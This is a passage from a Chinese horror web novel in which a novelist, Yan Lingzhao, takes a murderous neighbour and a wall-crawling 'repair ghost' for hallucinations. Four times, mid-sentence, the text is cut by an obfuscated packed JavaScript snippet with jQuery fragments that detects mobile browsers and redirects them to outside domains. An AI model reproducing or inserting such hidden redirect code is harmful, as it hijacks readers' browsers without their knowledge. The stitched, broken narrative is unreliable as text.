“说起来,尸体放久了不会发臭吗?那栋楼里的人咋都没反应,据说法医鉴定受害者死亡时间都有一个月以上了。”
“我看评论区有知情人士透露闻到了,只是那栋楼是商住两用楼,楼下一二层都是店铺,什么宠物店、餐饮店之类的,五花八门。所以住户一开始都以为那股臭味是从这些店里飘出来的,还专门找了物业过来查看。物业工作人员在楼里转了一圈,也没发现什么异常。就这么一直拖着,直到水管出问题,大家才知道臭味的真正源头。”
“嘶......更吓人了,鸡皮疙瘩都起来了。这么说,幸亏那个凶手做事不够细心,没有把尸体切得足够小块,不然尸体顺着下水道流进化粪池,能不能被发现都不好说。”
***
吃完粉后,宴泠昭返回家中。
不知为何,刚刚那两个女生的谈话内容一直在他脑海中盘旋,让他莫名有些在意。
......有没有可能自己这栋楼也发生了类似的事,或许,此刻正有尸体藏在下水道里?
这个念头一旦升起,就如同生根发芽一般,在宴泠昭心中挥之不去。
思考了一个晚上,第二天,宴泠昭决定还是找物业说明一下情况。反正臭是事实,他也没说假话。
小区设有物业群,宴泠昭在群里找到负责人,发起私聊,将自己近期闻到的断断续续的臭味告知了对方。
——并没有说尸体的事,到底是他的猜测,有些话不能随便乱说。只说了他怀疑可能是从管道里传出来的。
物业负责人的消息回复得十分迅速,说会马上安排工作人员过来查看情况,让宴泠昭在家中稍作等待。
没多久,门铃响起。宴泠昭打开门,两位穿着工作服的物业人员站在门口。
其中一位年纪稍长,面容和蔼,微笑着向宴泠昭打招呼:“您好,我们是物业的,接到您的反馈,过来查看情况。”
宴泠昭将他们请进屋,简单说明了一下情况。物业人员一边认真听着,一边不时点头。
随后,两人开始在房间里仔细检查起来。他们先是查看了卫生间的下水道口,用工具撬开盖子,凑近闻了闻,并未发现明显异味。接着又检查了厨房的排水管道,同样没有异常。
年纪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429681|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
稍长的那位物业人员直起身子,思考片刻后说:“从目前的情况来看,您家里的管道没有问题。不过,保险起见,我们还是到楼道里再检查一下公共管道。”
宴泠昭跟着他们来到楼道,年纪小的那位物业人员打开了位于楼梯间的公共管道检修口。霎时,一股浓烈的腐臭味扑面而来。
年轻的物业人员皱了皱鼻子,“呕!什么味道,好恶心。”
年纪稍长的那位拿出手电筒,往管道里照去。光线在错综复杂的管道间穿梭,突然,他的目光定格在一处,“嗯?”
宴泠昭下意识问:“怎么了?”
年纪稍长的物业人员眯着眼瞅了瞅,“有东西。”
......
狭小的检修口内部空间小得可怜,根本伸不开手脚,两位物业维修人员不得不弯着腰、侧着身,在有限的空间里艰难作业。
几分钟后,他们收回身子,退了出来。神色都不大好看,特别是年轻些的那位师傅,眼眶泛红,神情中满是厌恶,嘴里止不住的发出干呕的声音:“呕!有一窝死耗子,呕!一只大的,带着好几只小的。”
其实他不说,宴泠昭也知道,因为宴泠昭已经看到了——两人戴着手套的手里正抓着呢。
他没猜错,确实有尸体。
但是老鼠尸体。
......
自那窝死老鼠被带走,宴泠昭再也没有闻到臭味。
晚上。
宴泠昭坐在电脑前,十指如飞在键盘上敲击着。房间里只有键盘清脆的声响和他轻微的呼吸声。
屏幕上的文字随着输入不断增加。
完成今天的更新并提交后,宴泠昭长长地舒了一口气,站起身伸了个懒腰,顺便瞥了眼电脑右下角显示的时间,刚过零点。
“叩叩”
宴泠昭转头看向门口。
......
门外。
女人端着一口锅,脸上露出一个温柔的笑容,轻声道:“上次请你吃饭,你胃不舒服,没吃成。这次我特意炖了养身汤给你送来。”
宴泠昭闻言垂眸看向女人手中的锅,锅盖盖得严严实实,看不清里面装的什么。
其实他这会并不饿,可女人执着于请他吃饭,他要是拒绝,只怕女人会误以为是自己做得不够好,保不准下次还会再来。
思及此,宴泠昭接过女人手里的锅,“谢谢,我吃完后洗干净还给你。”
女人微笑着点点头。
关上门,宴泠昭将锅放在桌上,走进厨房拿碗筷。
女人说是养生汤,想来应该不会太腻,可以吃。
回到客厅,宴泠昭揭开锅盖,一股浓郁的香气扑面而来。
金黄的玉米、橙红的胡萝卜、软烂的排骨、几颗枸杞......所有食材看上去都烹饪得恰到好处。
宴泠昭拿起汤勺,盛出满满一碗。热气腾腾的汤散发着诱人的香味,他刚要将勺子送到嘴边,突然停住。
只见勺子里的一块排骨突然开始融化,变成一滩黏糊糊的泥状物。然后,在这滩泥状物上,长出两颗圆溜溜的眼睛,直勾勾的盯着他。
宴泠昭:“......”
他最近好像犯病的次数越来越多,明明有按时吃药。
8. 第 8 章
且原本在他犯病时的正常人也变异了——指隔壁那对男女。
不知道是不是病情加重了的原因......看来得找个时间再去看看医生了。
望着勺子里诡异变化的“食物”,宴泠昭神色平静的将顿在半空的勺子塞进嘴里。反正是幻觉,现实里就是一碗普通的排骨汤。
“咯吱咯吱”
牙齿咬下去,吃起来带着轻微的弹性,口感脆脆的,想来应该是吃到了脆骨部位。
......味道还不错。
肉类特有的醇厚鲜香,夹杂着枸杞丝丝缕缕的清甜,在味蕾间交织出美妙的滋味。
原本毫无食欲的宴泠昭胃口大开,将整锅汤吃得一干二净。
在他吞咽的间隙,似有若有若无的惨叫声响起——宴泠昭每咀嚼一下,便伴随着一声凄厉的尖叫......
吃完,宴泠昭来到厨房,打开水龙头,将锅碗清洗干净。随后,捧着洗得锃亮的锅去找女人归还。
站在对门邻居家门前,宴泠昭屈起指节,轻轻敲了敲。不多时,女人打开了门。
宴泠昭:“谢谢你的汤,味道很好。”
女人不动声色的上下打量了一遍宴泠昭,见宴泠昭毫发无损,脸上的笑容顿时有些僵硬。她默默伸手接过锅,细声细气的说道:“不用谢,你喜欢的话,下次有机会我再做给你吃。”
***
门关上的瞬间,女人脸上的表情陡然一变,笑容消失不见,变得阴沉难看。
她怒气冲冲地走到桌边,将手中的锅重重砸在桌上,“砰”的一声巨响。紧接着,大步径直走向冰箱,猛地用力拉开冰箱门,内部惨白的灯光倾泻而出,尽数打在她那张因愤怒而极度扭曲的脸上。
——女人恶狠狠的与冰箱里的头颅对视上视线。
头颅原本完整的脸部皮肤此刻呈现出令人毛骨悚然的融化状态,皮肉耷拉着,像是温热的蜡油,缓缓向下流淌,半融不融的样子既恶心又恐怖。
感受到女人身上的怒火,头颅止不住地发抖,仿佛寒风中飘零的残叶。
它不禁想到自己是怎么惨死的、死后也没被放过:女人将它的脑袋丢进滚烫的锅中,火焰舔舐着锅底,锅里的沸水疯狂翻滚,高温无情的侵蚀着它,从皮肤到肌肉......那种痛苦的折磨即便到了现在,每每想起,都如同刚刚发生一般清晰,令它恐惧不已。
“你这个废物!”女人低吼着骂道,一边说,一边把头颅从冰箱里拿出来。
头颅感受到疼痛,嘴里发出“啊啊”的叫声。
它不出声还好,一出声女人听到它的声音更烦躁了,将它一上一下打篮球般拍打,用力之大,头颅与手掌间肉对肉的碰撞都发出了不小的声响。
“你这个废物废物废物废物废物!”女人仿佛陷入了癫狂状态,情绪完全失控,歇斯底里地咆哮着,原本整齐盘在后脑勺的头发纷纷散开,飘在空中,犹如一团杂乱的黑雾,更增添了几分诡异和恐怖。
头颅委屈极了。
它确实拿宴泠昭没办法,但如果女人有办法,还轮得到它动手?
这分明就是撒气!
女人骤然停下动作,五指如钢钳一般死死地扣住头颅,仿佛要将其捏碎。
房间恢复了安静,安静得连针掉在地上的声音都能听见。
然而头颅内心的恐惧却比之前更甚。
不过几秒钟,却仿佛有几个世纪那么长——女人抬起手,动作机械又僵硬的将头颅提起来,直至与自己的视线平齐。
她的眼神阴恻恻的,透着彻骨的寒意,双眼深陷,眼眸中闪烁着幽绿的光。
“还记得你以前是怎么对我的吗?”声音低沉沙哑,一字一句都带着阴森的回音。
头颅几乎是立刻就意识到了女人话中的深意,心中涌起一阵绝望的恐惧。它在女人的手中疯狂颤抖,眼神中满是惊恐与无助。
“我错了!我真的错了!”带着哭腔的求饶声在安静的房间里显得格外凄凉。
女人嘴角勾起一抹冰冷的弧度,唇边溢出一声轻蔑的冷笑,幽幽道:“不,你不是错了,你只是害怕了。”
头颅颤动的瞳孔中巨大的黑色阴影倾覆下来,很快填满它的视野。
......
“砰、砰”
沉闷的声响打破夜的宁静。
宴泠昭低头看了眼时间,凌晨两点。
又是凌晨两点。
最近每到这个时候,窗外就会准时响起这个声音。
宴泠昭趿拉着拖鞋,朝窗边走去,老旧的木地板在他脚下发出轻微的“嘎吱”声。
......意料之中,窗外空无一物。
这已经不是第一次了。
实际上,这些天只要这奇怪的声音一响起,宴泠昭就会到窗边查看。然而,每一次他的视线所及之处,除了黑暗和偶尔摇曳的树枝,别的什么都没有,一切正常。
还好宴泠昭是夜猫子,平日里习惯了在深夜活动,作息时间与常人不同。
若是换个正常作息的人,每晚被噪音准时惊扰,多半会‘精神崩溃’。毕竟第二天还要上班。
但不睡觉,这个声音也很吵人。
宴泠昭想了想,将整个上半身都几乎探出窗外,打算仔细看个清楚。
他确定噪音声源就在附近,不会有错。
光顾着看下方的宴泠昭没看到,自己头顶外墙壁上趴着一个男人,手脚如涂抹了强力胶水一般,紧紧的贴在墙壁上。
......依然是什么发现都没有。
宴泠昭直起前倾的身体,中途顺便侧头往上看了一眼,这一眼,令宴泠昭顿住。
只见一个男人趴在上方墙壁上。
男人见宴泠昭发现自己了,嘴角咧开露出一个邪恶扭曲的笑容。
月光幽白,照在他嘴里参差不齐的牙齿上,泛出一层令人作呕的黄色牙垢。
“修......修东西......”从喉咙里挤出的声音沙哑干涩,就像一台废弃已久的破旧风箱发出的声音,刮擦着人的耳膜,令人忍不住皱眉。
第三个了。
宴泠昭默默计数。
他的病情可能确实严重了——都出现第三个‘新角色’了。
......
男人心怀恶意,眼中闪烁着阴冷的寒光,死死盯着宴泠昭,满心期待能从宴泠昭脸上看到恐惧的神情,而后,便可以赐予宴泠昭死亡。
但,令他疑惑不解的是,宴泠昭不仅表情十分淡定,从身上传递出来的情绪也无比平淡。
更令他懵逼的是,宴泠昭瞥了他一眼后便低下头,若无其事的转身回屋,连窗户都懒得关,仿佛自己对他来说毫无威胁。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429682|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
男人:?
这对吗?
男人已经暗中窥视宴泠昭好几天了。
每到凌晨两点,他都会准时制造动静,以此吸引宴泠昭的注意。
他精心布局、耐心铺垫营造恐怖氛围,为的就是逐步摧毁宴泠昭的心理防线,让宴泠昭内心的恐惧不断累积叠加,直至达到顶点......
但是,宴泠昭现在这个反应是怎么回事?
男人不由得陷入了自我怀疑。
是他哪里没弄对吗?明明电影里都是这么演的啊......?
——不对。
男人脑海中灵光一闪。这一定是青年在故作镇定,指不定这会都已经脚底抹油跑了!
想到这,男人宛如壁虎一样攀爬着迅速从窗户爬进宴泠昭家中。
不过和他想的不一样,青年根本没有逃跑,而是坐在沙发上玩手机。
***
宴泠昭听到动静,抬头看去,见男人闯进自己家里,心中定了论:看来这个是纯幻觉。
毕竟如果是真人,哪里会招呼也不打一声就莫名其妙闯入别人家中,又不是小偷......等等,小偷?
......
男人的视角。
青年半倚半靠在沙发上,一条手臂随意地搭在扶手上,另一只手握着手机,修长的手指时不时滑动屏幕。然后,青年漫不经心的抬起眼皮,目光轻飘飘的朝他投去。
刹那间,整个空间的空气都似乎凝固了。
男人只觉宴泠昭那双眸子黑暗深邃得犹如深渊,将所有的光线都吞噬殆尽。
在这股难以名状的震慑下,男人不由自主后退了一步。鞋底与木地板摩擦,发出干涩的声响。
***
深夜。
B市上阳区公安局。
一通电话打破了警局的安静。
负责值班的联络员迅速反应过来,拿起话筒,声音温和的说道:“您好,这里是上阳区公安局,请问您有什么需要帮助的?”
电话那头传来一道年轻男声,说自己家进了小偷,已经被他控制住了。
联络员闻言一边拿起笔,一边问:“麻烦您告知一下具体地址。”
“崇文路 135 号,是个老小区,没有小区名字。”
“好的,请您随时保持电话畅通,我们这边会尽快安排警员过去。”联络员说完挂断这通外线电话,转而拿起内部电话,拨通了今晚值夜班的警员的电话。
那边很快接通。
联络员直接说道:“崇文路 135 号有人报警称抓到了小偷,你赶紧带人过去处理一下。”
接电话的警员听到地址不禁一愣,下意识道:“啊?确定吗?崇文路一直以来只有134号,哪来的135号?”
联络员一怔,自己这边肯定是没听错,那就是那个报警的年轻人说错了地址。
“稍等,我回个电话确认一下。”
联络员说完迅速回拨了刚才的报警号码。
“嘟、嘟——嘟、嘟——对不起,您拨打的电话暂时无法接通,请稍后再拨......”
联络员皱眉将情况如实告知值夜班的警员:“我刚回了电话,结果打不通,不知道是不是出了什么意外。虽然没有135号,但应该就在附近,以防万一,还是辛苦你们跑一趟。”
9. 第 9 章
宴泠昭牢牢将男人的双手反压在身后,带着男人来到小区楼下,等待警察的到来。
男人亲耳听到宴泠昭报警,深感匪夷所思,不可置信的说道:“你居然报警?”
宴泠昭:“你擅自闯入我家,还试图对我动手,已经触犯了法律,我难道不该报警?”
男人被堵得哑口无言。
对普通人来说,遇到这种事确实应该报警。但问题是,他们俩能算是普通人吗?
——男人可不觉得宴泠昭是普通人,甚至可能连正常人都不是。
男人嘴笨,不知道该怎么说,反正他就是觉得宴泠昭不应该报警。有个词怎么说的来着?对了,ooc。
夏天的夜晚闷热难耐,风都裹挟着赤热的温度,好似是从正烧着的炉灶中吹出来的。
路灯散发着明亮的黄光,一群飞蛾宛如着了魔般疯狂地撞击着路灯罩子,发出“砰砰”的声响。
时不时有几只飞蛾摔落在地上,抽搐几下后便没了动静。
宴泠昭想了想,压着男人走到小区门口。
等在门口更近,警车不用开进来,人也不用走进来,大幅度提高了效率。
警察赶路需要时间。
百无聊赖之际,宴泠昭看向一旁的保安室。只见保安大爷依旧趴在桌上,睡得正香。
这个时间对于上了年纪的人来说,犯困打盹儿倒也正常。但他白天看时大爷也在睡觉,几乎就没见过大爷醒着的样子。
说起来,他上一次和大爷打招呼是什么时候来着?
宴泠昭努力回忆,然而记忆像是蒙了一层雾,模糊不清......他发现自己竟然想不起来了。
只记得大爷脾气特别好,很喜欢小动物。小区里有业主养宠物,每当他们带着宠物出门路过保安室,只要大爷瞧见,就会伸出脑袋热情的打招呼。若正好碰上大爷吃饭,大爷还会从碗里夹肉给宠物吃。
在宴泠昭翻找记忆的时候,身旁的男人可谓是‘如坐针毡’,浑身上下每一个细胞都叫嚣着难受。
——一股恐怖的气息从保安亭里传出,阴寒刺骨,穿透他的身体,强大的压迫感以至于他双腿发软,几乎站立不稳。
如果说宴泠昭的威压是如白开水一般的寡淡,一开始感觉不到。那保安亭里的威压就十分霸道,冲得他眼前发黑。
男人不由自主的往宴泠昭那边靠了靠,瞬间,深入骨髓的寒意减轻了许多。
嗯?
男人怔了下,用余光小心翼翼的打量身旁的青年。
青年长着一张极为出众的脸,五官线条柔和却不失硬朗,有一种恰到好处绝不会被认错性别的精致。
此刻,他面无表情、眼皮半垂的样子,自带冷漠气息,让人感到难以接近。
俗称:凶。
男人哆嗦了下,收回视线,不敢再看。
......保安亭里的那位似乎对青年很是忌惮,它的气息每每在快要触碰到青年的时候,就会收回去。这无疑表明,青年的实力远在保安亭里的那位之上,否则保安亭里的那位不会如此收敛。
看来,青年远比他预想的厉害。
此结论一出,男人懊悔不已。
真是出师不利,第一次行动就精准无误的挑中了自己惹不起的人,也不知该说是运气好还是倒霉。
***
警车一脚刹车,停在崇文路134号,从车上下来三个警察。
——崇文路确实只有134号,再往前就是松青路了。
正当警察们准备在周边仔细查看一番时,一个年轻的声音自不远处传来:“这里,在这里。”
警察们闻声转头望去,不禁一愣。
咦?这里什么时候有个小区了?
怀疑的念头刚升起,就被一股无形的力量抹除得一二干净。
三位警察朝小区走去。
走近之后,他们看到小区门口站着一个年轻人,正牢牢控制着另一个男人。
“是我报的警。”年轻人说道。
......
鉴于男人承认了自己的“偷盗行为”,宴泠昭不用跟着警察回警局做笔录,直接在现场就完成了相关流程。
之后,警察给男人铐上手铐,接着便开车回警局了。
今晚浪费了不少时间,好在宴泠昭不用上班,不然第二天工作肯定会困得要命。
回到家,宴泠昭开始收拾打斗时弄乱的家具。其实也没什么,不过是几个抱枕被扔得到处都是,那还是宴泠昭砸过去的。
这招也十分奏效。
趁着男人视线受阻,抬手去拍开抱枕,宴泠昭迅速上前,一个扫堂腿就把男人扫倒在地,紧接着反手将其控制住,整套动作一气呵成,无比丝滑。
另一边。
男人心里简直乐开了花,青年竟然把他交给了三个普通警察。虽说警察接受过训练,可在男人眼里,普通人又怎么可能对付得了自己。
这也是男人当时痛快“认罪”的原因。
他治不了青年,还治不了普通人了?
男人脸上露出一个充满恶意的诡异微笑。
与此同时,车内温度骤然大幅度下降。
“嘶,怎么突然这么冷?”坐在男人左侧的警察忍不住打了个寒颤,下意识裹紧身上的制服,纳闷的说道。
“我也感觉到了。”坐在男人右边的警察说着打了个喷嚏。
负责开车的警察始终没吭声,可寒意如细密的蛛丝,悄无声息地缠上他的身体,他自然也是感受到了的,只是出于职业习惯和性格原因,强忍着没有表露出来罢了。
握着方向盘的手不自觉紧了紧,驾驶员下意识抬眼看向车内后视镜。
这一看,他眼皮不禁跳了跳。
只见后排座位上的男人表情透着说不出的怪异——
他居然在笑,且那笑无比诡异瘆人。仅一眼,就让驾驶员心底泛起一阵凉意,犹如置身于数九寒冬,浑身的血液都要被冻结。
一股不祥的预感涌上心头,驾驶员一边紧紧盯着前方的道路,一边尽量通过后视镜留意男人的一举一动。
同时,还抽空腾出一只手虚虚的放在挂在腰边的对讲机的按钮上,以便遭遇突发状况,能在第一时间迅速传达给局内。
驾驶员也不知道自己为什么这么紧张,明明男人的双手都已经被拷住,失去了大半行动能力。
且车内空间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429683|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
狭窄,他的同事还一左一右将男人夹在中间,男人但凡有任何不轨举动,比方说对其中一人发起攻击,那么另一人必然能在第一时间察觉到并迅速出手制止。
然而,驾驶员就是有种难以名状、无法言说的预感。就像是暴风雨来临前,空气中弥漫的压抑不安的氛围。
这种强烈的危机感致使驾驶员一刻也不敢放松警惕。
随着时间一分一秒的流逝,车内的气温愈发冰冷。
“蒋海,你把空调打开吧,实在是太冷了。”坐在男人左边的警察忍不住说道,他已经冷得牙齿都打颤了。
***
寒意如汹涌的潮水在车内肆意翻涌,每一寸空气都仿佛被浸透,冷意犹如尖锐的针芒,直往人骨头缝里钻,带来阵阵钻心蚀骨的酸痛。
蒋海自始至终都保持着高度警惕,因而在同事哆哆嗦嗦的出声让他打开空调——这平常却也不正常的一句话出来后,仿佛一记警钟,在他脑海中敲响。
刹那间,他的思绪恢复清明。
几乎是下意识的,蒋海猛地一脚踩下刹车踏板。
然而,预想中的制动效果并未出现,车轮依旧疯狂地转动着,即便他已经将刹车踏板死死踩到底,车子也没能停下,反倒不断提速,不受控制的在公路上狂飙突进。
幸亏深夜车少,不然下一秒就得出车祸。
“嘿嘿......”就在这万分紧急的时刻,后排传来男人阴森的笑声。
蒋海顿时反应过来,这一切诡异的状况必定与男人有关,心下又俱又怒:“你到底是什么东西——你做了什么!”
“嘿嘿,修......修东西......”男人咧开嘴,脸上扯出一个极为夸张的笑容,大到连牙龈都露了出来。他说话的语速极慢,还结巴,可奇怪的是,不久前他承认自己“罪行”时明明说的还很流畅。
***
某卖烧烤的夜市摊前。
一阵狂风毫无预兆的席卷而过,紧接着,尖锐刺耳的轮胎摩擦地面的声音刺入耳膜。
人们纷纷被这突如其来的动静吸引,下意识转头看去。
隐约看见一辆蓝白相间的车子如同一道闪电疾驰而过,速度快得惊人,几乎是眨眼的工夫,就消失在了他们的视野之中。
“卧槽,我没看错吧,警车飙车?”一个年轻客人瞪大眼睛,神情震惊瞳孔地震。
“牛逼啊!开了眼了,可惜来不及录视频,不然发到网上指定爆火!”和他一桌的朋友拍着大腿,一脸遗憾。
“应该不能是警车吧?警车开这么快,那不是公然知法犯法嘛!”旁边桌戴着眼镜的中年客人摸着下巴评价道。
“嗐,谁知道呢,说不定是哪家的公子哥为了装逼,故意把警车开出来撒野呢。啧啧,我有一个局长父亲~”
***
警局监控室。
系统突然发出一阵急促的警报声。
值班警员立刻操作鼠标调出相关数据页面。当看到具体信息的那一刻,他不禁倒吸一口凉气。
一辆登记在警局名下的车辆,此时竟在市区道路上以极其恐怖的时速疾驰。那数字跳动得飞快,远远超出了市区规定的限速标准。
10. 第 10 章
“轰!”
爆炸声震耳欲聋,火光冲天而起。
附近沉浸在梦乡中的居民被这突如其来的巨响吵醒,有的只是迷迷糊糊嘟囔了几句,翻个身,便又沉沉睡去。有的则揉着惺忪的睡眼,走到窗边,想看看发生了什么。还有的听到动静后,第一时间拿起手机开启录制模式。
其中一个人所处位置恰好正对爆炸方向,绝佳的角度让他的手机完整的记录下了不远处那熊熊燃烧的火球。
透过屏幕,可以清晰的看到一辆汽车正深陷火海之中,汽车顶上隐约能瞧见安装着某种装置。
手机主人好奇心大增,赶忙拉近镜头。
尽管车身已被大火烧得面目全非,焦黑一片,但车顶上那一排标志性的警灯,表明了这辆车的身份。
手机主人不禁脱口而出一句“卧槽”,语气充满震惊。
没多久,尖锐的警笛声由远及近传来,救护车、消防车纷纷疾驰而至。
除了那些睡得深沉或戴着耳机完全没听见声音的人,其余大部分人或站在窗边,伸长脖子张望;或直接下楼,跑到事故现场附近围观。
一时间,现场人头攒动,好不热闹。
***
昏暗的房间里,苍白的屏幕光幽幽地照在宴泠昭的脸上。
宴泠昭双腿屈膝踩在椅子上,身体微微蜷缩着,眼神有些涣散,显然正沉浸在自己的思绪之中,俗称:发呆。
——宴泠昭正在构思下一篇章小说的内容。
十几分钟前被他交给警察的小偷激发了他的灵感。此刻,他满脑子都是新奇的想法,亟待将其转化成文字记录下来。
好半天,宴泠昭终于将手放在键盘上:
【水电维修鬼
人设:身着一套略显破旧的水电维修制服,整体呈现出中年男人的形象。面容有些狰狞,一口牙齿尖利无比,参考鲨鱼的獠牙,且每颗牙齿上都附着着厚厚的牙垢,让人看一眼便觉心生厌恶。说话结巴(此设定主要是为了增添故事中的恐怖氛围感)。】
写到这里,宴泠昭停住动作,再次陷入思考之中。
过了好半晌,他才像是终于理清了思路,接着在键盘上快速敲击:
【水电维修鬼不会立刻对目标下手,他会给予对方七天的时间。在这七天里,每晚凌晨两点,他都会准时出现在被他缠上的人的窗外,用手中的工具有节奏地敲击管道(前提是目标住所存在管道,如果没有,那他便不会选择这个人作为目标)。】
输入反括号,宴泠昭纠结的盯着屏幕上的最后一段文字。
这个反制手段会不会设计得太简单了些?
嗯......鉴于前几个故事他都把人类角色写死了,无人生还。这次这个故事,稍微轻松简单一点也好。
实在不行,到时候再改也来得及,他手头的《雨巷》还没完结呢,不着急写下一篇故事。
宴泠昭点击鼠标,将文档关闭。接着起身去洗脸刷牙,洗漱完毕后回到卧室,躺上床,很快便进入了梦乡。
一夜无梦。
第二天中午,阳光透过窗帘缝隙,窄窄的一缕洒在床铺上。
宴泠昭悠悠转醒,他一般睡七八个小时就够了,属于自然醒。
懒洋洋地伸了个腰,宴泠昭下床,踩着凉拖鞋走进卫生间,拧开水龙头,捧起一掬凉水,扑在脸上。
丝丝凉意瞬间驱散了残留的困意。
完全清醒了的宴泠昭拿着手机,来到客厅,整个人放松地躺在沙发上,开始悠闲的刷起视频。
手指在屏幕上不停地滑动,一条又一条视频从眼前闪过。忽然,一个发布于六个小时前的视频引起了宴泠昭的注意。
——视频下方的评论数量竟多达上万条,热度极高。
再一看ip地址,还是同城。
宴泠昭有些好奇是什么内容,因此没有划走。
视频里,漆黑的夜色下一团起码窜天十米高的火焰带来强烈的视觉冲击。紧接着,视频主人拉近镜头,火焰的中心竟然是一辆警车。
视频主人显然惊了一跳,不由自主的爆了一句粗口:“卧槽!”
【“警车爆炸了?咋回事啊这是,是意外还是......”】视频主人嘀咕着,没有把话说完。
这里画面突然顿了一下,很明显是做了剪辑处理,因为立即切换到了下一个场景。
新的画面里出现了消防车、救护车的身影。除此之外,还有几辆警车也停在现场。
视频主人按捺不住内心的好奇,转身匆匆下楼。画面再次出现停顿,又是一次剪辑。
画面一转,视频主人已经来到了案发现场。不过,他并没有靠近事发核心区域,倒不是他不想靠近,而是现场拉起了警戒线,不允许无关人士进入。
视频主人正和旁边的人交流。
【“你知道发生了啥吗?”视频主人问。
“不知道啊,我也才刚到没多久。”
“哎呀,我本来睡得正香,突然一声爆炸,直接就把我给惊醒了。”
“我还好,当时在打游戏,正打得激烈,也是突然听到一声巨响......”】
视频到这里就结束了。
难怪热度这么高。
宴泠昭打开评论区,只见底下满满当当全是自称“当事人”的评论。
【“艾玛,可把我吓够呛,还以为又发生了类似某化工厂爆炸的事!”】
这条评论下方有很多人跟评,宴泠昭点开看了眼。
【“可没法和当年化工厂爆炸相提并论,如果是化工厂那种级别的爆炸,在座的各位恐怕十个有九个都得凉凉。”】
【“不至于,化工厂都建在郊外。”】
【“咱们讨论的难道不是爆炸威力问题吗?跟化工厂建在哪里有什么关系?”】
【“哈哈,有些人的智商着实堪忧。那句‘有些人其实智商有问题,只是生活能够自理,所以被当做正常人’的含金量还在提高(憨笑)”】
后面都是吵架和艾特人的内容,没什么好看的,宴泠昭将其折叠起来,继续浏览下面的评论。
【“警车怎么会爆炸?按理来说,警车的质量应该比大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15429684|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多数普通车辆都要好吧,有人知道是什么原因吗?”】
【“兄弟们帮我把这条评论顶上去!昨天晚上我和几个哥们儿在路边吃夜宵,亲眼瞧见有辆警车开得那叫一个快,时速至少得有100码!不过不确定是不是爆炸的这一辆,但方向一致。”】
宴泠昭继续往下翻,评论区里各种猜测层出不穷。
【“会不会是车上装了什么危险物品啊,不然好端端的怎么会爆炸。”】
【“我猜是车辆故障,线路老化短路之类的,引发了爆炸。”】
底下跟评:【“哥们,这是警车!还线路老化短路,如果真是这样,某些人要吃花生米咯。”点赞数7568】
【“都静一静听我说!我老婆的舅舅的儿子是知情人士,据他说这辆警车是在执行追捕任务,追的是一个掌握重要证据的嫌疑人,嫌疑人狗急跳墙,用□□炸了警车。不知道真假哈。”】这条评论十分炸裂,点赞数蹭蹭往上涨,回复也很多。
【“哇塞,如果是真的,那可太刺激了,感觉都能拍成电影了。”】
【“反串哥别演了,你猜造谣公职人员要做几年牢(憨笑)”】
【“艾玛,这不是某部戏的剧情吗!当我没看过是吧,嫌疑人是不是叫刘文?(憨笑)”】
宴泠昭:“......”
正当宴泠昭准备划走时,手机突然收到推送消息,是当地新闻媒体发布了关于警车爆炸事件的初步通报。
宴泠昭点开,只见通报里简单说明了目前已排除恐怖袭击因素,具体爆炸原因仍在进一步调查中。
***
医生看着坐在对面的患者。
青年上一次来是在半个月前,他给他开了一个月疗程的药,然而如今才过去半个月,青年就来了,声称自己的病情严重了。
“可以具体说说吗?”医生目光专注的望着宴泠昭,语气温和的说道。
宴泠昭点了下头,应道:“当然。”
随后,他陷入思索,像是在脑海中梳理着思绪,以便能用最准确的语言表达出来。沉默片刻后,他缓缓开口,讲述起前些天发生的事情。
“我的邻居......她的丈夫是一个家暴狂,隔三岔五地殴打她。每次听到隔壁传来的哭喊声,我都感到难受。我实在看不下去,帮助过她好多次,也拨打过报警电话。可这一切似乎并没起到什么作用。”说到这,宴泠昭神色恹恹的垂下眼眸。
“主要是我那邻居,她自己也不争气。每次只要她丈夫稍微哄一哄,说几句好话,她就轻易的原谅了对方。”
医生静静聆听着,神色逐渐严肃,心中暗忖:难道是暴力行为对宴泠昭造成了某种强烈的刺激,从而引发了他病情加重?
